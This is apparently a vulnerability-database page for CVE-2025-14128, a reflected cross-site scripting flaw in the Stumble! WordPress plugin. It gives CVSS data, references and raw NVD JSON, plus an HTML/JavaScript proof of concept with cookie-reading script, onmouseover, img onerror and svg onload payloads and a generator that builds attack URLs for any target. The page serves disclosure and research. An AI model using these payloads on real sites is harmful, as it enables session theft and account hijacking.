CVE-2025-14128

Description

The Stumble! for WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Stumble! for WordPress plugin <= 1.1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-14128 PoC - Reflected XSS in Stumble! for WordPress plugin -->
<!-- Target: WordPress site with Stumble! plugin <= 1.1.1 -->

<!-- PoC URL (encoded XSS payload) -->
<!-- http://target.com/wp-admin/admin.php/"><script>alert(document.cookie)</script> -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-14128 PoC</title>
</head>
<body>
    <h2>CVE-2025-14128 - Stumble! WordPress Plugin XSS PoC</h2>
    
    <p>Target URL Pattern:</p>
    <code>[TARGET_URL]/wp-admin/admin.php/"><script>alert('XSS')</script></code>
    
    <p>Encoded PoC Link:</p>
    <a href='http://target.com/wp-admin/admin.php/"><script>alert(document.cookie)</script>' target='_blank'>Click for XSS Test</a>
    
    <p>More Obfuscated Payload:</p>
    <code>http://target.com/wp-admin/admin.php/" onmouseover="alert(document.domain)" x="</code>
    
    <script>
        // Automated PoC generator
        function generatePOC() {
            var target = document.getElementById('target').value;
            var payloads = [
                '"><script>alert(document.cookie)</script>',
                '"><script>alert(document.domain)</script>',
                '" onmouseover="alert(1)" x="',
                "'><img src=x onerror=alert(document.cookie)>",
                '"><svg/onload=alert(document.cookie)>'
            ];
            
            var output = '';
            payloads.forEach(function(payload) {
                output += target + '/wp-admin/admin.php/' + payload + '\n';
            });
            
            document.getElementById('output').innerText = output;
        }
    </script>
    
    <input type="text" id="target" placeholder="Enter target URL" />
    <button onclick="generatePOC()">Generate PoC URLs</button>
    <pre id="output"></pre>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14128
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14128
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14128/
[4] VulDB https://vuldb.com/cve/CVE-2025-14128
[5] https://plugins.trac.wordpress.org/browser/stumble-for-wordpress/tags/1.1.1/stumble.php#L143
[6] https://plugins.trac.wordpress.org/browser/stumble-for-wordpress/trunk/stumble.php#L143
[7] https://wordpress.org/plugins/stumble-for-wordpress/
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/19e1421d-8cb4-44b6-a982-769539b19582?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14128", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:53.507", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Stumble! for WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin Stumble! for WordPress para WordPress es vulnerable a Cross-Site Scripting Reflejado a través de la variable '$_SERVER['PHP_SELF']' en todas las versiones hasta la versión, e incluyendo, 1.1.1 debido a una sanitización de entrada y escape de salida insuficientes. Esto hace posible que atacantes no autenticados inyecten scripts web arbitrarios en páginas que se ejecutan si pueden engañar con éxito a un usuario para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/stumble-for-wordpress/tags/1.1.1/stumble.php#L143", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/stumble-for-wordpress/trunk/stumble.php#L143", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/stumble-for-wordpress/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/19e1421d-8cb4-44b6-a982-769539b19582?source=cve", "source": "[email protected]"}]}}